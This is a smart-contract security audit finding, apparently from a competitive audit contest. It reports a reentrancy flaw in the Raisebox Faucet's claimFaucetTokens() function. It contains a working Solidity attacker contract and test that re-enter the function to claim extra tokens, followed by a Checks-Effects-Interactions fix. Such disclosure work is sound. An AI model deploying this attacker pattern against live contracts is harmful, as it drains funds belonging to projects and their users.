Raisebox Faucet

First Flight #50
Beginner FriendlySolidity
100 EXP
View results
Submission Details
Severity: high
Valid

Reentrancy Vulnerability in claimFaucetTokens()

Root + Impact

Normal Behavior: Users should be able to claim 1000 faucet tokens once every 3 days, with first-time users receiving 0.005 ETH additionally.

Vulnerability: The claimFaucetTokens() function violates the Checks-Effects-Interactions (CEI) pattern by making external calls before updating critical state variables. This allows malicious contracts to re-enter the function during ETH transfer and claim tokens multiple times in a single transaction.

Root Cause: External call to faucetClaimer.call{value: sepEthAmountToDrip}("") is made before updating lastClaimTime[faucetClaimer] and dailyClaimCount, allowing reentrancy attacks.

Description

  • The claimFaucetTokens() function should allow users to claim exactly 1000 faucet tokens once every 3 days, with first-time claimers receiving an additional 0.005 ETH for gas purposes

  • The function enforces cooldown periods and daily claim limits to prevent abuse and ensure fair distribution of tokens.

function claimFaucetTokens()

Risk

Likelihood:

  • High: Any user can deploy a malicious contract and execute this attack

  • Easy to exploit: Requires basic Solidity knowledge and no special permissions

Impact:

  • Immediate fund drainage: Attackers can claim 2x-4x intended token amounts per transaction

  • Economic damage: Accelerated depletion of faucet reserves affects legitimate users

  • Trust violation: Core security assumption (one claim per cooldown) is broken

Proof of Concept

Attack: Attacker deploys malicious contract with receive() function 2. Calls startAttack() which triggers claimFaucetTokens() 3. During ETH transfer, receive() is called, triggering reentrancy 4. Second claimFaucetTokens() call succeeds because state isn't updated yet 5. Result: 2000 tokens inst

Test results: Expected: 1000 tokens, 1 daily claim - Actual: 2000 tokens, 2 daily claims - Proof: Attack succeeded with 100% fund increase per transaction


// Malicious contract for reentrancy attack
contract MaliciousReentrantAttacker {
RaiseBoxFaucet public faucet;
uint256 public attackCount;
uint256 public maxAttacks = 3;
bool public isAttacking = false;
constructor(address payable _faucetAddress) {
faucet = RaiseBoxFaucet(_faucetAddress);
}
function startAttack() external {
isAttacking = true;
attackCount = 0;
faucet.claimFaucetTokens(); // Initial claim triggers reentrancy
}
receive() external payable {
if (isAttacking && attackCount < maxAttacks) {
attackCount++;
try faucet.claimFaucetTokens() {
// Successful reentrancy - claims additional tokens
} catch {
isAttacking = false;
}
}
}
}
// Test demonstrating the attack
function testReentrancyAttackProof() public {
MaliciousReentrantAttacker attacker = new MaliciousReentrantAttacker(
payable(address(raiseBoxFaucet))
);
uint256 tokensBefore = raiseBoxFaucet.getBalance(address(attacker));
uint256 dailyCountBefore = raiseBoxFaucet.dailyClaimCount();
attacker.startAttack();
uint256 tokensAfter = raiseBoxFaucet.getBalance(address(attacker));
uint256 dailyCountAfter = raiseBoxFaucet.dailyClaimCount();
// Attack results: 2000 tokens instead of 1000, dailyCount = 2
assert(tokensAfter > raiseBoxFaucet.faucetDrip());
assert(dailyCountAfter > 1);
}

Recommended Mitigation

The fix implements Checks-Effects-Interactions pattern by moving all state updates before external calls. When reentrancy occurs, the cooldown check will fail because lastClaimTime is already updated, preventing multiple claims.

+ // Effects - Update state BEFORE external calls
+ if (block.timestamp > lastFaucetDripDay + 1 days) {
+ lastFaucetDripDay = block.timestamp;
+ dailyClaimCount = 0;
+ }
+
+ lastClaimTime[faucetClaimer] = block.timestamp;
+ dailyClaimCount++;
+
+ bool shouldSendEth = false;
if (!hasClaimedEth[faucetClaimer] && !sepEthDripsPaused) {
// ... ETH logic ...
if (dailyDrips + sepEthAmountToDrip <= dailySepEthCap && address(this).balance >= sepEthAmountToDrip) {
+ hasClaimedEth[faucetClaimer] = true;
dailyDrips += sepEthAmountToDrip;
+ shouldSendEth = true;
- (bool success,) = faucetClaimer.call{value: sepEthAmountToDrip}("");
}
}
- // Remove old Effects section
- lastClaimTime[faucetClaimer] = block.timestamp;
- dailyClaimCount++;
// Interactions - External calls LAST
_transfer(address(this), faucetClaimer, faucetDrip);
+
+ if (shouldSendEth) {
+ (bool success,) = faucetClaimer.call{value: sepEthAmountToDrip}("");
+ require(success, "ETH transfer failed");
+ }
Updates

Lead Judging Commences

inallhonesty Lead Judge 16 days ago
Submission Judgement Published
Validated
Assigned finding tags:

Reentrancy in `claimFaucetTokens`

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.